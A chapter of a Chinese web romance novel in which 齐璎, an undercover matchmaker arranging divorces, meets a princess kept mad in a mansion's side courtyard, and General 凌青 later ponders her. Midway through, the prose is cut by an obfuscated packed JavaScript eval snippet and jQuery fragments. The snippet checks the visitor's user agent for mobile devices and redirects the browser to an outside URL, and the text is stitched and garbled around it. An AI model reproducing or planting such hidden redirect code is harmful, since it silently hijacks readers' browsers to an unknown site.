13.情蛊
作品:《和离后将军爆改恋爱脑》 “殿下!殿下!”
预感中的挨打没有如期袭来,齐璎闭着眼等了等,只听见了那女人高高低低的嚎叫。
齐璎挣扎着起身,看到那头一个金服女子正跪在地上,紧紧抱着木服女子,试图让她平静下来。
那个金服女子两鬓已斑驳,面容和善,似乎是个嬷嬷。
不过齐璎以前从未在府里见过她。
那嬷嬷对木服女子偶尔乱抓乱打的攻击不躲不闪,只是满脸愁容:
“公主殿下……是奴婢啊,公主殿下!”
渐渐的,随着木服女子体力不支,她不再乱抓乱打,而是在嬷嬷的怀里渐渐崩溃哭泣了起来。
嬷嬷娴熟地拍着木服女子的背,这才抬头看齐璎一眼:
“三少夫人,您不该来这的。”
“您是……”
嬷嬷这才想起来什么,抱歉道:
“少夫人容禀,老奴失礼了。奴婢原是公主殿下的奶娘,昔年公主下降,蒙恩随侍入府。后来公主得了……”
嬷嬷顿了顿,没有说出那两个字:
“……奴婢便自请留下,照料至今。少夫人不识老奴也是应当的。
“只恨奴婢行将就木,时时昏寐,偶有疏漏,致使殿下惊扰尊驾,请少夫人责罚!”
齐璎赶紧摆手:“没关系的没关系的……她都没伤到我。”
看了看嬷嬷的脸色,齐璎实在不忍心,又补充道:“你放心吧,我也不会告诉任何人的!”
“如此,那便多谢少夫人。”嬷嬷的脸色却并未转晴。
木服女子好像又哭累了,声音渐息,到了最后竟靠着嬷嬷又睡过去。
齐璎试探:“所……所以嫂……嫂嫂她是……”
齐璎用气声发出了“疯病”两个字。
嬷嬷恭顺地点头:“是。”
“没找郎中看过吗?”
“自是看过,药石无医。”
齐璎沉默地想着,难道是真的疯了?
不是吧!!
“少夫人容禀,老奴该带殿下回去了,不然一会……”
齐璎看嬷嬷犹豫的表情,赶紧点头。
嬷嬷颤颤巍巍地站起来,齐璎上去帮忙搀扶。
再次接触到木服女子骨瘦如柴的身体,齐璎心中有些五味杂陈。
她究竟是不是叶晚?
齐璎想了个新问法:
“您是我嫂嫂的奶娘,那您是自小便看着她长大的吗?”
“是。”
齐璎不死心:“一刻也没离开过她吗?”
嬷嬷忍不住抬眼看了一眼齐璎,齐璎赶紧移开目光。
她自己也觉得这问题问得有点太奇怪了。
但嬷嬷还是回答:“是。从殿下还是县主的时候,老奴一直随侍。”
“县主……”
不是,怎么越问越觉得有很多故事啊!
“少夫人,您该回去了。”
齐璎这才发现她们已经到了别院内,嬷嬷手扶着门沿,开口。
“好……好……”齐璎恋恋不舍地放了手,转身离开。
身后传来了吱吱呀呀关门的声音,齐璎又想起什么,赶紧回过头问:
“老人家,您听说过声尽云开吗?”
嬷嬷疑惑:“少夫人说什么?”
齐璎盯着嬷嬷疑惑的脸看了一会,却找不到一丝缝隙,不似作假。
“噢……那打扰了。”
“少夫人真是折煞老奴了。”
嬷嬷行了礼,复又开始推门。
那漆玄的大门就这样啸叫着,又在齐璎的面前缓缓关闭了。
*
祈姻楼。
齐盈面前摊开着那份和离名单,她瞪着眼仔细浏览着。
一旁的齐璎喝了口茶,随口问:
“盈盈,我师兄还没给我回信吗?”
“没有。”
齐璎无意识地把玩着茶盏的边缘,微微有些沮丧:
“那……那他没有带句话什么的?”
“没有。”
下一秒,齐盈头也不抬:“闭嘴。”
齐璎把嘴里的话憋了回去。
她瞅瞅认真研读名单的齐盈,觉得她一时应该反应不过来,转头去仓库翻了本言情话本看。
那话本讲的是一个嫁与太子和亲的公主,因出身边陲,在宫闱中处处受人白眼。
而太子虽心中对她爱护有加,但不想将心爱的女子卷入朝堂纷争,故只得装作对她冷落。
当然,后面有幡然醒悟的部分。
这本书齐璎已经看了大半,虽说还是没看出一点幡然醒悟的迹象,但好在前面够拉扯,够酸涩,爽!
可齐璎看着看着,眼前莫名想起那个女人来。
那个被嬷嬷抱在怀里,骨瘦如柴的女人。
她也是下嫁的“公主殿下”。
既然她不是叶晚,不知道她背后会是怎样的故事?
嫁给镇国公府的世子后,世子却很快就死了,后来自己也疯了,被终日关在镇国公府的别院。
所有知情者都对当年的事件讳莫如深。
这场联姻背后有什么爱恨情仇呢?
好想知道啊啊啊啊!!
思及此,齐璎越发觉得手上这本话本讲的就是这位“公主嫂嫂”的故事,对故事中的人越发垂怜起来。
半个时辰后,齐盈才从和离名单里探出头来,莫名其妙地看着齐璎手忙脚乱地擦干脸上的眼泪。
等齐璎擦好了,她终于一字一句地提出了半个时辰前就有的那个疑问:
“哪有叶晚?”
齐璎把名单最后那个墨点指给齐盈看:“这儿。”
齐盈又皱眉看了半晌,再抬起头看齐璎的眼神就变了:
“这你都能看出‘叶晚’两个字,我真是服了。”
齐璎嘿嘿一笑:“过奖,过奖。所以叶晚其人的信息是啥?”
“没有这个人啊。”
齐璎的笑容僵在脸上:“啊?”
“没有啊,这就是个墨点。”
齐璎难以置信,拿过名单来反复观看。
说来也怪,一旦接受了是墨点的设定,反而觉得当初仔仔细细认出来的“叶晚”两个字,确实很牵强。
齐璎默默地把名单放回了桌上,不敢看齐盈的脸色。
半晌后,齐璎开口,自认神不知鬼不觉地扯开话题:
“对了盈盈……你知道那个,我师父叫啥?”
齐盈愣住:“你师父?”
“‘齐璎’的师父,‘齐璎’的师父。”
齐盈听懂了,却一时没吭声。
齐璎吞吞吐吐地解释:
“其实我师父说过来着,我……确实忘了。不过你放心,最近从来没人问过我……”
“鸳鸯楼。”
“什么?”
“‘齐璎’师从鸳鸯楼。”
“噢……”齐璎赶紧默默记下,“那师父呢?”
齐盈笑了:“那你就不用记了。北池官媒,十之八九都是鸳鸯楼出来的,你随口胡诌个名字都成。”
“噢……”齐璎点头,松了口气。
这么说来……还好没在凌青面前露馅。很好,至今为止0破绽,战绩可查。
实在是当卧底的天才!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900103|190804||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“齐璎。”
“嗯?”齐璎抬起头来看向齐盈。
齐盈并没再说话,只是直直地看着齐璎。
齐璎渐渐被盯得有些发毛,缩了缩身子:“怎……怎么了?”
齐盈竟一时也不回答,只盯着齐璎看。
齐璎随手端起了茶杯,试图用喝茶来掩饰内心的不安。
齐盈终于开口了:“我们许久未见了,有点想你,想仔细看看你。”
齐璎差点没呛着!
没想到向来外热内冷、公事公办的齐盈也会说这么肉麻的话。
她把嘴里的那口茶咽下了去,才想通此间关节:
“你……你是想‘齐璎’了吧?”
齐盈依旧认真看着她,没回答。
“哎呀没事啦,她不过辞职了。你先等我把名单剩下的人和离了,咱们回了南炽,你就能见到她啦。”
齐盈听罢,终于将目光移开了:“嗯……那你可要快些啊。”
“必须的!”说到这个,齐璎又兴奋起来:
“我跟你说,我最近发现一个可好玩的,就是我只要愁名单上哪个姐妹和离的事儿,凌青就会带我到他们府上去。”
齐盈还是那副不冷不热的表情,语气平平:“噢?”
“真的!可神奇了!你说,这是不是他太爱我了啊?欸,我在话本里真看到过这种情节!就是男的太想女的了,导致女的晚上托梦给他……”
齐璎说的是真的。
前面那段是真的。
自武昌侯府后,凌青带齐璎去拜访的几乎都是齐璎和离名单上的府邸,甚至差不多按顺序来。
齐璎一路走一路离,只需将武昌侯府中的行为如法炮制,屡试不爽。
针对此事,镇国公与凌青又发生过一次争吵。
镇国公认为齐璎此举有违万物教教义,实乃有损阴德,让凌青要好好管教,让零骑士管好内宅之事就好。
凌青则从头沉默到尾,到最后问父亲:
“这些人家可有说什么吗?”
直接将镇国公呛得语塞。
一连三五家,确实是没有一家主人有怨言,甚至还对齐璎感恩戴德、赞不绝口。
镇国公涨红了脸嗫嚅半晌,也只能大喊一声“逆子”,然后拂袖而去。
凌青对此事皆是不置可否的态度,他似乎真的完全纵容妻子,她的事业他绝不插手。
只有江白知道,每当他报告完对叶晚接下来的调查,凌青会都会陷入很久的沉思。
夜深人静的殿前司,能清晰地听到烛芯偶尔的爆响。
“江白,你可曾听说,女子离了男子,能自由?”
江白支支吾吾地回答:
“将军,卑……卑职都还……未娶妻呢……”
凌青冷冷地瞥了他一眼,没再说话。
江白顿时有些汗流浃背,结结巴巴地开口:
“将军是说……那南炽细作吧?”
“嗯。”
“将军,南炽本是妖异之国,有何说法都不奇怪。卑职甚至还听说,南炽还有种叫‘情蛊’的呢,听起来妖异非常。”
凌青浅浅地“嗯”了一声,一时没说话。
几秒后,凌青睁开眼:“何为‘情蛊’?”
“据说是一种南炽妖术,中此术的人会对施术的人一往情深,难以自控,且也只有施术的人才可解。”
凌青嗤笑:“无稽之谈。”
“将军说的是。”江白赶紧附和。
又静了半晌。
正当江白准备告退时,凌青又开口了:
“这细作……只是单纯喜欢给人和离?”

